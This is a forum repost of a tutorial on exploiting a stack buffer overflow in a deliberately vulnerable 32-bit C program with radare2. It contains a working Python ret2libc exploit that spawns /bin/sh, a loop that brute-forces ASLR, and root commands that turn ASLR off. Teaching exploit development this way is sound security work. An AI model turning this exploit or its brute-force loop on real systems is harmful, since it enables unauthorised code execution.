Nytro Posted May 9, 2019 Report Posted May 9, 2019 Bypassing ASLR and DEP for 32-Bit Binaries With r2 May 1, 2019 exploiting r2 reverse-engineering ret2libc This post covers basic basics of bypassing ASLR and DEP with r2. For this, a vulnerable application, yolo.c, is required: #include <stdio.h> #include <stdlib.h> #include <string.h> void lol(char *b) { char buffer[1337]; strcpy(buffer, b); } int main(int argc, char **argv) { lol(argv[1]); } 64-Bit vs 32-Bit Binaries The issue here should be quite obvious - strcpy blindly copies the user-controlled input buffer b into buffer which causes a buffer overflow. Since normally ASLR and DEP are enabled, the following things don’t just work out of the box: Providing shellcode via user input: DEP prevents executing this code and the application would just crash Using a library like libc and spawning a shell (e.g. using ret2libc) because the start address of the library is randomized after each start of a process: $ gcc yolo.c -o yolo_x64 $ ldd yolo_x64 | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007fe0def68000) $ ldd yolo_x64 | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007fba1f038000) <-- much random $ ldd yolo_x64 | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007f3d65b03000) <-- also here $ ldd yolo_x64 | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007f584e180000) <-- here too $ ldd yolo_x64 | grep libc libc.so.6 => /usr/lib/libc.so.6 (0x00007fc4aee7c000) <-- :/ As seen above, the start address of libc always has a random value. The ret2libc technique would theoretically work in case an attacker is able to guess the start address of libc. However, for 64-bit binaries the chance to guess this right is just too small. Because of this, this post covers 32-bit binaries where the chance to make a right guess is better: $ gcc -fno-stack-protector -m32 yolo.c -o yolo $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7cbb000) $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7d43000) <-- not so random $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7d18000) $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7d000) $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7cb0000) The approach to guess the right start address is also called brute forcing ASLR. As indicated above, the address space for possible start addresses of the library is not that large anymore for a 32-bit binary: $ ldd yolo | grep libc libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000) $ while true; do echo -ne "."; ldd yolo | grep libc | grep 0xf7d8d000; done ................................... libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000) .................................................................................................................................................................................................................................................................................................................................................. libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000) ............................................................................................................... libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000) The same libc start address was found after multiple re-executions. Therefore the value can be guessed by re-using a previously valid start address. Please note that for this exercise, stack cookies are disabled while compiling the code (-fno-stack-protector😞 $ r2 yolo -- Finnished a beer [0x00001050]> i file yolo size 0x3c80 format elf arch x86 bits 32 canary false <-- no cookies for you nx true os linux pic true relocs true relro partial Getting EIP Control The first step to exploit this application is to get control over the EIP register. To determine the offset after which the EIP overwrite happens, a buffer with a pattern is being sent to the application using a Python script. The first version of this script just sends a large buffer to check whether the application really crashes: #!/usr/bin/python2.7 print "A" * 2000 Now let’s debug the application with r2: $ r2 -d yolo [0xf7f3e0b0]> ood `!python2.7 b.py` [...] [0xf7ef40b0]> dc child stopped with signal 11 [+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0 [0x41414141]> dr eax = 0xff8a0317 ebx = 0x41414141 ecx = 0xff8a3000 edx = 0xff8a0add esi = 0xf7ea7e24 edi = 0xf7ea7e24 esp = 0xff8a0860 ebp = 0x41414141 eip = 0x41414141 eflags = 0x00010282 oeax = 0xffffffff The input caused the application to successfully overwrite its EIP register with “AAAA” (41414141). Now repeat this step with a cyclic pattern to determine the correct offset for EIP control. For this, use ragg2 -P 2000 to create the pattern and modify the Python script to print the pattern: $ r2 -d yolo [0xf7f960b0]> ood `!python2.7 b.py` [...] [0xf7ef00b0]> dc child stopped with signal 11 [+] SIGNAL 11 errno=0 addr=0x48415848 code=1 ret=0 [0x48415848]> wopO `dr eip` 1349 Therefore the EIP register gets overwritten after 1349 bytes. ret2libc To successfully leverage a return2libc exploit, the following things are required: Start address of libc: This will be brute-forced The offset of the string /bin/sh in the specific libc version in use The offset of the system() call (The offset of exit() to prevent the application from crashing after the shell has exited) The idea is to cause the application to use gadgets already present in its memory space to spawn a shell. Because no gadgets of the user input are in use, DEP won’t kick in. If everything works as expected, the application will call system(/bin/sh) upon successful exploitation. The layout of the input buffer is as follows: <Junk Byte> * 1349 (Offset) <Address of system()> (new EIP) <Address of exit()> (new return address) <Address of /bin/sh string> (Argument for system()) The layout of this buffer ultimately causes a fake stack frame to be created in the memory of the application. After returning from the call to lol, the program will execute system() with /bin/sh as parameter and exit() as return address. Remember, on x86 arguments are pushed onto the stack in reverse order before calling a function. Determining Offsets The addresses and offsets mentioned above can be determined using r2 from a running debug session: r2 -d yolo [0xf7f040b0]> dcu main Continue until 0x5660a1be using 1 bpsize hit breakpoint at: 5660a1be [0x5660a1be]> dmi 0xf7cdf000 0xf7cf8000 /usr/lib32/libc-2.28.so <-- start address of libc of this run [0x5660a1be]> dmi libc system 1524 0x0003e8f0 0xf7d1d8f0 WEAK FUNC 55 system <-- offset of system() [0x5660a1be]> dmi libc exit 150 0x000318e0 0xf7d108e0 GLOBAL FUNC 33 exit <-- offset of exit() [0x5660a1be]> e search.in=dbg.maps <-- search in more segments [0x5660a1be]> / /bin/sh <-- search for /bin/sh string Searching 7 bytes in [0xffdb7000-0xffdd8000] hits: 0 0xf7e5eaaa hit0_0 .b/strtod_l.c-c/bin/shexit 0canonica. <-- /bin/sh found Therefore the values for the exploit to use are: libc start address: 0xf7cdf000 (we just hope this values occurs again) system() offset: 0x0003e8f0 exit() offset: 0x000318e0 /bin/sh offset: 0x17FAAA (0xf7e5eaaa - 0xf7cdf000) In case the correct libc start address is guessed, all other values should then automatically fit too. For debugging purposes: Always print the calculated addresses since bad characters like 0x00 or 0x0A in address values may corrupt the input buffer and prevent exploitation. Putting the Exploit together The developed exploit looks as follows: #!/usr/bin/python2.7 import struct import sys EIP_OFFSET = 1349 libc_start = 0xf7cdf000 binsh_offset = 0x0017FAAA system_offset = 0x0003e8f0 exit_offset = 0x000318e0 system_addr = libc_start + system_offset exit_addr = libc_start + exit_offset binsh_addr = libc_start + binsh_offset PAYLOAD = "" while len(PAYLOAD) < EIP_OFFSET: PAYLOAD += "\x90" # NOP PAYLOAD += struct.pack("<I",system_addr) PAYLOAD += struct.pack("<I",exit_addr) PAYLOAD += struct.pack("<I",binsh_addr) sys.stdout.write(PAYLOAD) To test it without ASLR in place and therefore without the need to brute force the libc start address, temporarily disable ASLR on the system using a root shell: # echo 0 > /proc/sys/kernel/randomize_va_space This causes the start address to remain static and the first exploitation attempt should always succeed: [0x565561be]> dmi 0xf7db0000 0xf7dc9000 /usr/lib32/libc-2.28.so <-- libc start address after disabling ASLR [0xf7fd50b0]> ood `!python2.7 exploit.py` <-- running the exploit with static address above [0xf7fd50b0]> dc sh-5.0$ <-- :) Now that this worked, enable ASLR again: # echo 2 > /proc/sys/kernel/randomize_va_space And run the exploit in an infinite loop until a shell gets spawned: $ while true; do echo -ne "."; ./yolo $(python2.7 exploit.py); done ..........................................................................................................yolo: vfprintf.c:4157552864: l: Assertion `(size_t) done <= (size_t) INT_MAX' failed. ......................................... sh-5.0$ ASLR and DEP have been successfully bypassed. The V! view of r2 shows the addresses after being pushed on the stack: Ok Bye. Sursa: https://ps1337.github.io/post/binary-aslr-dep-32/ Quote